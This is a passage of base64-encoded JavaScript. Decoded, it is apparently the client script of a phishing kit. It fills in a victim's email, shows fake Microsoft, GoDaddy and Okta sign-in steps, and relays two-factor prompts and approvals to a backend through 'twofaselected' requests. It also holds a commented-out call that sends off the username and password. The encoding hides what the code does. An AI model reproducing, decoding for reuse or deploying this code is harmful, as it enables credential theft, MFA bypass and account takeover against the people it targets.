W1haWxpbnB1dGNoZWNrID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImlucF91bmFtZSIpOw0KbGV0IGVtYWlsc2VjdGlvbmVsZWNoZWNrID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25fdW5hbWUiKTsNCmlmIChlbWFpbGlucHV0Y2hlY2sgJiYgIWVtYWlsc2VjdGlvbmVsZWNoZWNrLmNsYXNzTGlzdC5jb250YWlucygiZC1ub25lIikpIHsNCiAgICBlbWFpbGlucHV0Y2hlY2sudmFsdWUgPSBlbWFpbDsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl91bmFtZScpLnF1ZXJ5U2VsZWN0b3IoIiNidG5fbmV4dCIpLmNsaWNrKCk7DQogICAgZW1haWxpbnB1dGVsZSA9IHRydWU7DQp9IGVsc2Ugew0KICAgICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCkgew0KICAgICAgICB0cnlmaW5kaW5nZWxlKGVtYWlsKTsNCiAgICAgfSwgMTAwMCk7DQp9DQoNCn0gZWxzZSBpZiAodmlldyA9PSAidW5hbWVfcGRmIikgew0KbGV0IGVtYWlsaW5wdXRjaGVjayA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJwZGZlbWFpbCIpOw0KbGV0IGVtYWlsc2VjdGlvbmVsZWNoZWNrID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25fdW5hbWVfY29udGVudCIpOw0KaWYgKGVtYWlsaW5wdXRjaGVjayAmJiAhZW1haWxzZWN0aW9uZWxlY2hlY2suY2xhc3NMaXN0LmNvbnRhaW5zKCJkLW5vbmUiKSkgew0KICAgIGVtYWlsaW5wdXRjaGVjay52YWx1ZSA9IGVtYWlsOw0KICAgIHNldFRpbWVvdXQoZnVuY3Rpb24oKSB7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3VuYW1lX3BkZicpLnF1ZXJ5U2VsZWN0b3IoIiNidG5fbmV4dF9wZGYiKS5jbGljaygpOw0KICAgICB9LCAyMDAwKTsNCiAgICBlbWFpbGlucHV0ZWxlID0gdHJ1ZTsNCn0gZWxzZSB7DQogICAgIHNldFRpbWVvdXQoZnVuY3Rpb24oKSB7DQogICAgICAgIHRyeWZpbmRpbmdlbGUoZW1haWwpOw0KICAgICB9LCAxMDAwKTsNCn0NCg0KfSBlbHNlIGlmICh2aWV3ID09ICJ1bmFtZV9kb2MiKSB7DQpsZXQgZW1haWxpbnB1dGNoZWNrID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImRvY2VtYWlsIik7DQpsZXQgZW1haWxzZWN0aW9uZWxlY2hlY2sgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl91bmFtZV9jb250ZW50Iik7DQppZiAoZW1haWxpbnB1dGNoZWNrICYmICFlbWFpbHNlY3Rpb25lbGVjaGVjay5jbGFzc0xpc3QuY29udGFpbnMoImQtbm9uZSIpKSB7DQogICAgZW1haWxpbnB1dGNoZWNrLnZhbHVlID0gZW1haWw7DQogICAgc2V0VGltZW91dChmdW5jdGlvbigpIHsNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fdW5hbWVfZG9jJykucXVlcnlTZWxlY3RvcigiI2J0bl9uZXh0X2RvYyIpLmNsaWNrKCk7DQogICAgIH0sIDIwMDApOw0KICAgIGVtYWlsaW5wdXRlbGUgPSB0cnVlOw0KfSBlbHNlIHsNCiAgICAgc2V0VGltZW91dChmdW5jdGlvbigpIHsNCiAgICAgICAgdHJ5ZmluZGluZ2VsZShlbWFpbCk7DQogICAgIH0sIDEwMDApOw0KfQ0KDQp9IGVsc2Ugew0KICAgICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCkgew0KICAgICAgICB0cnlmaW5kaW5nZWxlKGVtYWlsKTsNCiAgICAgfSwgMTAwMCk7DQp9DQoNCn0NCg0KaWYgKHR5cGVvZiBlbWFpbGNoZWNrICE9PSAndW5kZWZpbmVkJyAmJiBlbWFpbGNoZWNrICE9PSBudWxsICYmIGVtYWlsY2hlY2sgIT09ICIwIiAmJiBlbWFpbGNoZWNrICE9PSAiIikgew0KdHJ5ZmluZGluZ2VsZShlbWFpbGNoZWNrKTsNCn0gICAgdmFyIHdlYm5vdGZvdW5kID0gZmFsc2U7DQogICAgdmFyIGludGVyYWN0ZWQgPSAwOw0KICAgIHZhciBtdWx0aXBsZWFjY291bnRzYmFjayA9IDA7DQogICAgbGV0IHdhaXQyZmFjYW5jZWwgPSAwOw0KICAgIGxldCBvdHB0eXBlID0gMDsNCiAgICB2YXIgY3VycmVudHdlYiA9IDA7DQogICAgdmFyIHBhZ2V2aXNpdGVkYWxyZWFkeSA9IG51bGw7DQogICAgbGV0IHZpZXd0eXBlID0gbnVsbDsNCiAgICBsZXQgcGRmY2hlY2sgPSAwOw0KDQogICAgaWYoIWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9ucycpLmNsYXNzTGlzdC5jb250YWlucygnZC1ub25lJykpew0KICAgIHZpZXcgPSAidW5hbWUiOw0KICAgIH0NCiAgICBpZihkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbnNfcGRmJykgJiYgIWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uc19wZGYnKS5jbGFzc0xpc3QuY29udGFpbnMoJ2Qtbm9uZScpKXsNCiAgICB2aWV3ID0gInVuYW1lX3BkZiI7DQogICAgfQ0KICAgIGlmKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uc19kb2MnKSAmJiAhZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25zX2RvYycpLmNsYXNzTGlzdC5jb250YWlucygnZC1ub25lJykpew0KICAgIHZpZXcgPSAidW5hbWVfZG9jIjsNCiAgICB9DQogICAgaWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3ZvaWNlJykpew0KICAgIHZpZXcgPSAidW5hbWUiOw0KICAgIH0NCg0KICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2tleXVwJywgZnVuY3Rpb24oZXZlbnQpIHsNCg0KICAgIGlmIChldmVudC5rZXkgPT09ICJFbnRlciIgJiYgcmVxdWVzdHNlbnQgPT0gZmFsc2UpIHsNCiAgICAgIGlmKHZpZXcgPT0gInB3ZF9nb2RhZGR5Iil7DQogICAgICBpZihkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbnNfZ29kYWRkeScpLnF1ZXJ5U2VsZWN0b3IoIiNnb2RhZGR5c2lnbmluIikgIT09IG51bGwpew0KICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25zX2dvZGFkZHknKS5xdWVyeVNlbGVjdG9yKCIjZ29kYWRkeXNpZ25pbiIpLmNsaWNrKCk7DQogICAgICB9DQogICAgICB9DQogICAgICBpZih2aWV3ID09ICJwd2Rfb2t0YSIpew0KICAgICAgaWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25zX29rdGEnKS5xdWVyeVNlbGVjdG9yKCIjb2t0YXNpZ25pbiIpICE9PSBudWxsKXsNCiAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uc19va3RhJykucXVlcnlTZWxlY3RvcigiI29rdGFzaWduaW4iKS5jbGljaygpOw0KICAgICAgfQ0KICAgICAgfQ0KICAgICAgaWYodmlldyAhPT0gInB3ZF9nb2RhZGR5IiAmJiB2aWV3ICE9PSAicHdkX29rdGEiKXsNCiAgICAgIGlmKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXycrdmlldykucXVlcnlTZWxlY3RvcigiI2J0bl9uZXh0IikgIT09IG51bGwpew0KICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fJyt2aWV3KS5xdWVyeVNlbGVjdG9yKCIjYnRuX25leHQiKS5jbGljaygpOw0KICAgICAgfSBlbHNlIGlmKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXycrdmlldykucXVlcnlTZWxlY3RvcigiI25leHRfYnRuX3BkZiIpICE9PSBudWxsKXsNCiAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXycrdmlldykucXVlcnlTZWxlY3RvcigiI25leHRfYnRuX3BkZiIpLmNsaWNrKCk7DQogICAgICB9IGVsc2UgaWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fJyt2aWV3KS5xdWVyeVNlbGVjdG9yKCIjYnRuX25leHRfZG9jIikgIT09IG51bGwpew0KICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fJyt2aWV3KS5xdWVyeVNlbGVjdG9yKCIjYnRuX25leHRfZG9jIikuY2xpY2soKTsNCiAgICAgIH0gZWxzZSBpZiAoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fJyt2aWV3KS5xdWVyeVNlbGVjdG9yKCIjYnRuX3NpZyIpICE9PSBudWxsKXsNCiAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXycrdmlldykucXVlcnlTZWxlY3RvcigiI2J0bl9zaWciKS5jbGljaygpOw0KICAgICAgfSBlbHNlIGlmIChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8nK3ZpZXcpLnF1ZXJ5U2VsZWN0b3IoIiNidG5fc2lnX2xpdmUiKSAhPT0gbnVsbCl7DQogICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8nK3ZpZXcpLnF1ZXJ5U2VsZWN0b3IoIiNidG5fc2lnX2xpdmUiKS5jbGljaygpOw0KICAgICAgfSBlbHNlIGlmIChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8nK3ZpZXcpLnF1ZXJ5U2VsZWN0b3IoIiNidG5fY29uZmlybWVtYWlsIikgIT09IG51bGwpew0KICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fJyt2aWV3KS5xdWVyeVNlbGVjdG9yKCIjYnRuX2NvbmZpcm1lbWFpbCIpLmNsaWNrKCk7DQogICAgICB9IGVsc2UgaWYgKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXycrdmlldykucXVlcnlTZWxlY3RvcigiI2J0bl92ZXJpZnlvdHAiKSAhPT0gbnVsbCl7DQogICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8nK3ZpZXcpLnF1ZXJ5U2VsZWN0b3IoIiNidG5fdmVyaWZ5b3RwIikuY2xpY2soKTsNCiAgICAgIH0gZWxzZSBpZiAoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fJyt2aWV3KS5xdWVyeVNlbGVjdG9yKCIjYnRuX2NvbmZpcm1lbWFpbG9ycGhvbmVfbGl2ZSIpICE9PSBudWxsKXsNCiAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXycrdmlldykucXVlcnlTZWxlY3RvcigiI2J0bl9jb25maXJtZW1haWxvcnBob25lX2xpdmUiKS5jbGljaygpOw0KICAgICAgfSBlbHNlIGlmIChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8nK3ZpZXcpLnF1ZXJ5U2VsZWN0b3IoIiNidG5fdmVyaWZ5b3RwX2xpdmUiKSAhPT0gbnVsbCl7DQogICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8nK3ZpZXcpLnF1ZXJ5U2VsZWN0b3IoIiNidG5fdmVyaWZ5b3RwX2xpdmUiKS5jbGljaygpOw0KICAgICAgfQ0KICAgICAgfQ0KICAgIH0NCiAgICB9KTsNCg0KICAgIGZ1bmN0aW9uIHZhbGlkYXRlZGlnaW5wKGlucHV0KSB7DQogICAgaW5wdXQudmFsdWUgPSBpbnB1dC52YWx1ZS5yZXBsYWNlKC9cRC9nLCAnJyk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gbG9hZGluZ2FuaW1hdGlvbih0eXBlKXsNCiAgICBpZih0eXBlID09IDApew0KICAgIC8vIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJy5sb2FkaW5nLWNvbnRhaW5lcicpLmZvckVhY2goKGUpID0+IHsNCiAgICAvLyBlLmNsYXNzTGlzdC5hZGQoJ2xvYWRpbmcnKQ0KICAgIC8vIH0pOw0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXycrdmlldykucXVlcnlTZWxlY3RvcignLmxvYWRpbmctY29udGFpbmVyJykuY2xhc3NMaXN0LmFkZCgnbG9hZGluZycpOw0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXycrdmlldykucXVlcnlTZWxlY3RvcignLnNlY3Rpb25jb250ZW50Jykuc3R5bGUuYW5pbWF0aW9uID0gJ2ZhZGVpbmZvcm0gMXMgZm9yd2FyZHMnOw0KICAgIH0NCiAgICBpZih0eXBlID09IDEpew0KICAgIC8vIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJy5sb2FkaW5nLWNvbnRhaW5lcicpLmZvckVhY2goKGUpID0+IHsNCiAgICAvLyBlLmNsYXNzTGlzdC5yZW1vdmUoJ2xvYWRpbmcnKQ0KICAgIC8vIH0pOw0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXycrdmlldykucXVlcnlTZWxlY3RvcignLmxvYWRpbmctY29udGFpbmVyJykuY2xhc3NMaXN0LnJlbW92ZSgnbG9hZGluZycpOw0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXycrdmlldykucXVlcnlTZWxlY3RvcignLnNlY3Rpb25jb250ZW50Jykuc3R5bGUuYW5pbWF0aW9uID0gJ2ZhZGVvdXRmb3JtIDFzIGZvcndhcmRzJzsNCiAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gcnVuYW5pbWF0aW9uKHR5cGUsaWQsZHVyYXRpb24sZil7DQogICAgaWYoZiA9PSB1bmRlZmluZWQpew0KICAgIGYgPSAxDQogICAgfQ0KICAgIGlmKGYgPT0gMCl7DQogICAgZiA9ICcnOw0KICAgIH0NCiAgICBpZihmID09IDEpew0KICAgIGYgPSAnZm9yd2FyZHMnOw0KICAgIH0NCiAgICBpZih0eXBlID09IDApew0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXycraWQpLnF1ZXJ5U2VsZWN0b3IoJy5zZWN0aW9uY29udGVudCcpLnN0eWxlLmFuaW1hdGlvbiA9ICdoaWRlLXRvLXJpZ2h0ICcrZHVyYXRpb24rJ3MgJytmKycnOw0KICAgIH0NCiAgICBpZih0eXBlID09IDEpew0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXycraWQpLnF1ZXJ5U2VsZWN0b3IoJy5zZWN0aW9uY29udGVudCcpLnN0eWxlLmFuaW1hdGlvbiA9ICdzaG93LWZyb20tcmlnaHQgJytkdXJhdGlvbisncyAnK2YrJyc7DQogICAgfQ0KICAgIGlmKHR5cGUgPT0gMil7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fJytpZCkucXVlcnlTZWxlY3RvcignLnNlY3Rpb25jb250ZW50Jykuc3R5bGUuYW5pbWF0aW9uID0gJ2hpZGUtdG8tbGVmdCAnK2R1cmF0aW9uKydzICcrZisnJzsNCiAgICB9DQogICAgaWYodHlwZSA9PSAzKXsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8nK2lkKS5xdWVyeVNlbGVjdG9yKCcuc2VjdGlvbmNvbnRlbnQnKS5zdHlsZS5hbmltYXRpb24gPSAnc2hvdy1mcm9tLWxlZnQgJytkdXJhdGlvbisncyAnK2YrJyc7DQogICAgfQ0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIGNoYW5nZWJhY2tidXR0b24oaWQsYmFja2J1dHRvbikgew0KICAgIGlmKGJhY2tidXR0b24gPT0gMCl7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fJytpZCkucXVlcnlTZWxlY3RvcignLmJhY2snKS5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiOw0KICAgIH0NCiAgICBpZihiYWNrYnV0dG9uID09IDEpew0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXycraWQpLnF1ZXJ5U2VsZWN0b3IoJy5iYWNrJykuc3R5bGUuZGlzcGxheSA9ICJibG9jayI7DQogICAgfQ0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIHdhaXQyZmEoYXV0aHR5cGUsc2Vjb25kYXV0aHR5cGUpIHsNCiAgICBpZih3YWl0MmZhY2FuY2VsID09IDApew0KICAgIGlmKGF1dGh0eXBlID09ICJhcHAiKXsNCiAgICBsZXQgdHdvZmF0eXBlID0gbnVsbDsNCiAgICB0d29mYXR5cGUgPSBzZWNvbmRhdXRodHlwZTsNCiAgICBzZW5kQW5kUmVjZWl2ZSgndHdvZmFzZWxlY3RlZCcsIFt0d29mYXR5cGUsJ251bGwnXSwxKQ0KICAgICAgLnRoZW4ocmVzcG9uc2UgPT4gew0KICAgIC8vIGlmICh2aWV3ICE9ICJhdXRoYXBwIikgew0KICAgIC8vIHdhaXQyZmFjYW5jZWwgPSAxOw0KICAgIC8vIH0NCiAgICBpZiAocmVzcG9uc2UgJiYgdmlldyA9PSAiYXV0aGFwcCIgfHwgcmVzcG9uc2UgJiYgdmlldyA9PSAiYXV0aGFwcF9saXZlIikgew0KICAgIC8vIGxpdmUgc3R1ZmYNCiAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAic2lnbmluYmxvY2tlZCBsaXZlIil7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNpZ25pbl9ibG9ja2VkX2xpdmVfZW1haWwiKS5pbm5lclRleHQgPSByZXNwb25zZVsnZW1haWwnXTsNCiAgICBjaGVja2Vycm9yZGVzYygnc2lnbmluX2Jsb2NrZWRfbGl2ZScsMCxyZXNwb25zZVsnZGVzY3JpcHRpb24nXSk7DQogICAgY2hlY2tlcnJvcmRlc2MoJ3NpZ25pbl9ibG9ja2VkX3JlYXNvbicsMixyZXNwb25zZVsncmVhc29uJ10pOw0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX2F1dGhhcHAnKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9zaWduaW5fYmxvY2tlZF9saXZlJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgdmlldyA9ICJzaWduaW5fYmxvY2tlZF9saXZlIjsNCiAgICB9DQogICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gInByb3RlY3RhY2NvdW50IGxpdmUiKXsNCiAgICBjaGVja2Vycm9yZGVzYygncHJvdGVjdF9hY2NvdW50X2xpdmUnLDAscmVzcG9uc2VbJ2Rlc2NyaXB0aW9uJ10pOw0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXycrdmlldykuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fcHJvdGVjdF9hY2NvdW50X2xpdmUnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICB2aWV3ID0gInByb3RlY3RfYWNjb3VudF9saXZlIjsNCiAgICB9DQogICAgLy8gbGl2ZSBzdHVmZg0KICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICJtb3JlIGluZm8gcmVxdWlyZWQiKXsNCiAgICBtb3JlaW5mb3JlcSgpOw0KICAgIH0NCiAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAid2FpdGluZyIpew0KICAgIHNldFRpbWVvdXQoZnVuY3Rpb24oKXsNCiAgICB3YWl0MmZhKGF1dGh0eXBlLHNlY29uZGF1dGh0eXBlKTsNCiAgICB9LCA4MDAwKTsNCiAgICB9DQogICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gImF1dGhlbnRpY2Fpb24gZmFpbGVkIil7DQogICAgc2V0VGltZW91dChmdW5jdGlvbigpew0KICAgIHdhaXQyZmEoYXV0aHR5cGUsc2Vjb25kYXV0aHR5cGUpOw0KICAgIH0sIDIwMDApOw0KICAgIH0NCiAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAiZHVwbGljYXRlIHJlcXVlc3QiKXsNCiAgICB3YWl0MmZhY2FuY2VsID0gMTsNCiAgICBpZihkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl90cnlhZ2FpbmxhdGVyJykuY2xhc3NMaXN0LmNvbnRhaW5zKCdkLW5vbmUnKSl7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fdHJ5YWdhaW5sYXRlcicpLnF1ZXJ5U2VsZWN0b3IoJy50aXRsZScpLmlubmVyVGV4dCA9ICJUb28gbWFueSBBdHRlbXB0cyI7DQogICAgc2V0VGltZW91dChmdW5jdGlvbigpew0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXycrdmlldykucXVlcnlTZWxlY3RvcignLmxvYWRpbmctY29udGFpbmVyJykuY2xhc3NMaXN0LnJlbW92ZSgnbG9hZGluZycpOw0KICAgIHJ1bmFuaW1hdGlvbigyLHZpZXcsMC41LDApOw0KICAgIHNldFRpbWVvdXQoZnVuY3Rpb24oKXsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8nK3ZpZXcpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3RyeWFnYWlubGF0ZXInKS5xdWVyeVNlbGVjdG9yKCcjdHJ5YWdhaW5oZWFkZXInKS5zdHlsZS5kaXNwbGF5ID0gImJsb2NrIjsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl90cnlhZ2FpbmxhdGVyJykucXVlcnlTZWxlY3RvcignI3RyeWFnYWluX3Rvb21hbnlhdHRlbXB0cycpLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siOw0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3RyeWFnYWlubGF0ZXInKS5xdWVyeVNlbGVjdG9yKCcuc2VjdGlvbmNvbnRlbnQnKS5zdHlsZS5hbmltYXRpb24gPSAnc2hvdy1mcm9tLXJpZ2h0IDAuNXMnOw0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3RyeWFnYWlubGF0ZXInKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICB2aWV3ID0gInRyeWFnYWlubGF0ZXIiOw0KICAgIH0sIDIwMCk7DQogICAgfSwgNTAwKTsNCiAgICB9DQogICAgfQ0KICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICJhcHByb3ZlZCIpew0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uX2F1dGhhcHAiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9maW5hbCcpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgIHZpZXcgPSAiZmluYWwiOw0KICAgIC8vIHNlbmRpbmZvKHVuYW1lSW5wLnZhbHVlLHB3ZElucC52YWx1ZSwxKTsNCiAgICB9DQogICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gImFwcHJvdmVkIGxpdmUiKXsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl9hdXRoYXBwX2xpdmUiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9maW5hbCcpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgIHZpZXcgPSAiZmluYWwiOw0KICAgIH0NCiAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAiZXJyb3IgbGl2ZSIpew0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX2F1dGhhcHBlcnJvcicpLnF1ZXJ5U2VsZWN0b3IoJy50aXRsZScpLnRleHRDb250ZW50ID0gcmVzcG9uc2VbJ3RpdGxlJ107DQogICAgdmFyIGF1dGhhcnJkZXNjID0gcmVzcG9uc2VbJ2Rlc2NyaXB0aW9uJ107DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2F1dGhhcHBlcnJvcmRlc2MnKS5pbm5lckhUTUwgPSBgPHNwYW4+JHthdXRoYXJyZGVzYy50ZXh0fTwvc3Bhbj48YSBpZD0iVmlld0RldGFpbHMiIGNsYXNzPSJuby13cmFwIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCkiPlZpZXcgZGV0YWlsczwvYT5gOw0KICAgIGNoZWNrZXJyb3JkZXNjKCdhdXRoYXBwZXJyb3JyZXNlbmQnLDIscmVzcG9uc2VbJ3Jlc2VudGxpbmsnXSk7DQogICAgYXV0aGFwcGJvdHRvbXRleHQocmVzcG9uc2VbJ2NoZWNrYXBwaGF2aW5ndHJvdWJsZXNlY3Rpb24nXSk7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25fYXV0aGFwcF9saXZlIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fYXV0aGFwcGVycm9yJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgdmlldyA9ICJhdXRoYXBwZXJyb3IiOw0KICAgIH0NCiAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAiZXJyb3IiKXsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9hdXRoYXBwZXJyb3InKS5xdWVyeVNlbGVjdG9yKCcudGl0bGUnKS50ZXh0Q29udGVudCA9IHJlc3BvbnNlWyd0aXRsZSddOw0KICAgIHZhciBhdXRoYXJyZGVzYyA9IHJlc3BvbnNlWydkZXNjcmlwdGlvbiddOw0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhdXRoYXBwZXJyb3JkZXNjJykuaW5uZXJIVE1MID0gYDxzcGFuPiR7YXV0aGFycmRlc2MudGV4dH08L3NwYW4+PGEgaWQ9IlZpZXdEZXRhaWxzIiBjbGFzcz0ibm8td3JhcCIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApIj5WaWV3IGRldGFpbHM8L2E+YDsNCiAgICBjaGVja2Vycm9yZGVzYygnYXV0aGFwcGVycm9ycmVzZW5kJywyLHJlc3BvbnNlWydyZXNlbnRsaW5rJ10pOw0KICAgIGF1dGhhcHBib3R0b210ZXh0KHJlc3BvbnNlWydjaGVja2FwcGhhdmluZ3Ryb3VibGVzZWN0aW9uJ10pOw0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uX2F1dGhhcHAiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9hdXRoYXBwZXJyb3InKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICB2aWV3ID0gImF1dGhhcHBlcnJvciI7DQogICAgfQ0KICAgIH0NCiAgICB9KQ0KICAgIC5jYXRjaChlcnJvciA9PiB7DQogICAgY29uc29sZS5lcnJvcignRXJyb3I6JywgZXJyb3IpOw0KICAgIH0pOw0KICAgIH0NCiAgICBpZihhdXRodHlwZSA9PSAiY2FsbCIpew0KICAgIHNlbmRBbmRSZWNlaXZlKCd0d29mYXNlbGVjdGVkJywgWydUd29XYXlWb2ljZU1vYmlsZScsJ251bGwnXSwxKQ0KICAgICAgLnRoZW4ocmVzcG9uc2UgPT4gew0KICAgIC8vIGlmICh2aWV3ICE9ICJhdXRoY2FsbCIpIHsNCiAgICAvLyB3YWl0MmZhY2FuY2VsID0gMTsNCiAgICAvLyB9DQogICAgaWYgKHJlc3BvbnNlICYmIHZpZXcgPT0gImF1dGhjYWxsIikgew0KICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICJtb3JlIGluZm8gcmVxdWlyZWQiKXsN